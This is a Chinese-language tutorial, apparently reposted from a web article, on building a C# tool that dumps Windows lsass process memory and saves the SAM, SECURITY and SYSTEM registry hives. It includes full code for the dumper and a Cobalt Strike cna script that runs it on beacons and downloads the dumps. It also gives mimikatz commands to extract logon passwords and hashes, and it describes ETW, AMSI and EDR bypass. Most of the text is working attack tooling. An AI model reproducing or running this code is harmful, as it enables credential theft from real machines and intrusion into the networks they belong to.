1、检测权限
因为dump
系统lsass
内存和sam
注册表需要管理员权限,所以首先需要对当前进程上下文权限做判断。
public static bool IsHighIntegrity()
{
// returns true if the current process is running with adminstrative
privs in a high integrity context
var identity = WindowsIdentity.GetCurrent();
var principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
2、lsass内存
MiniDumpWriteDump
是MS DbgHelp.dll
中一个API, 用于导出当前运行的程序的Dump
,利用MiniDumpWriteDump
实现dump lsass内存的功能,先加载MiniDumpWriteDump
函数。
[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump",
CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode,
ExactSpelling = true, SetLastError = true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint
processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr
userStreamParam, IntPtr callbackParam);
之后调用函数,并保存dump文件,代码如下所示:
namespace sharpdump
{
public class MiniDumper
{
public static string MiniDump()
{
Process[] pLsass = Process.GetProcessesByName("lsass");
string dumpFile = Path.Combine(Path.GetTempPath(),
string.Format("lsass{0}.dmp", pLsass[0].Id));
if (File.Exists(dumpFile)) File.Delete(dumpFile);
Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}",
pLsass[0].Id, dumpFile));
using (FileStream fs = new FileStream(dumpFile, FileMode.Create,
FileAccess.ReadWrite, FileShare.Write))
{
bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id,
fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (bRet)
{
Console.WriteLine("[+] Dump successful!");
return dumpFile;
}
else
{
Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode:
{0}", Marshal.GetLastWin32Error()));
return null;
}
}
}
}
}
3、实现reg save保存sam注册表
首先导入需要用到的API。
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
UIntPtr hKey,
string subKey,
int ulOptions,
int samDesired,
out UIntPtr hkResult
);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern int RegSaveKey(
UIntPtr hKey,
string lpFile,
IntPtr lpSecurityAttributes
);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern int RegCloseKey(
UIntPtr hKey
);
然后构建函数,对"SAM", "SECURITY", "SYSTEM"注册表进行reg save。
namespace sharpdump
{
internal class Reg
{
public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
public static int KEY_READ = 0x20019;
public static int KEY_ALL_ACCESS = 0xF003F;
public static int REG_OPTION_OPEN_LINK = 0x0008;
public static int REG_OPTION_BACKUP_RESTORE = 0x0004;
public static int KEY_QUERY_VALUE = 0x1;
public static void ExportRegKey(string key, string outFile)
{
var hKey = UIntPtr.Zero;
try
{
RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE |
REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey);
//https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
RegSaveKey(hKey, outFile, IntPtr.Zero);
RegCloseKey(hKey);
Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile);
}
catch (Exception e)
{
throw e;
}
}
public static string DumpReg(string key)
{
try
{
String addr = key + ".hiv";
addr = Path.Combine(Path.GetTempPath(), addr);
ExportRegKey(key, addr);
return addr;
}
catch (Exception e)
{
Console.WriteLine(e.Message);
Console.WriteLine(e.StackTrace);
return "";
}
}
}
}
文件会被dump
到temp
目录下,然后对所有dump
成功的文件进行打包处理,方便下载。完整代码稍后上传至知识星球。
4、关于ExecuteAssembly
ExecuteAssembly
是CS可执行组件的一个替代方案,ExecuteAssembly
基于C/C++构建,可以帮助广大研究人员实现.NET程序集的加载和注入。
ExecuteAssembly
复用了主机进程spawnto
来加载CLR模块/AppDomainManager
,Stomping
加载器/.NET程序集PE DOS头,并卸载了.NET相关模块,以实现ETW+AMSI绕过。除此之外,它还能够绕过基于NT静态系统调用的EDR钩子,以及通过动态解析API(superfasthash
哈希算法)实现隐藏导入。
当前metasploit-framework
和Cobalt Strike
都已经实现了ExecuteAssembly
功能,下面主要以Cobalt Strike
为例,实现dump系统lsass内存和sam注册表的功能
5、CS 插件
以结合 Cobalt Strike
为例,编写一个简单的cna
脚本。
popup beacon_bottom {
menu "Dumper" {
item "SharpDump"{
local('$bid');
foreach $bid ($1){
bexecute_assembly($1, script_resource("Dumper.exe"));
}
}
item "DownloadDump"{
prompt_text("File's address to download", "", lambda({
bdownload(@ids, $1);
}, @ids => $1));
}
}
}
加载脚本后,执行SharpDump
,结果如下所示:
下载存放在temp
目录下的dump.gz
,然后使用Decompress
解压,最后使用mimikatz
解密用户lsass.dmp
和sam
文件
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
lsadump::sam /sam:sam.hiv /system:system.hiv
到此这篇关于C# dump
系统lsass
内存和sam
注册表详细的文章就介绍到这了,更多相关C# dump
系统lsass
内存和sam
注册表内容请搜索w3xue以前的文章或继续浏览下面的相关文章希望大家以后多多支持w3xue!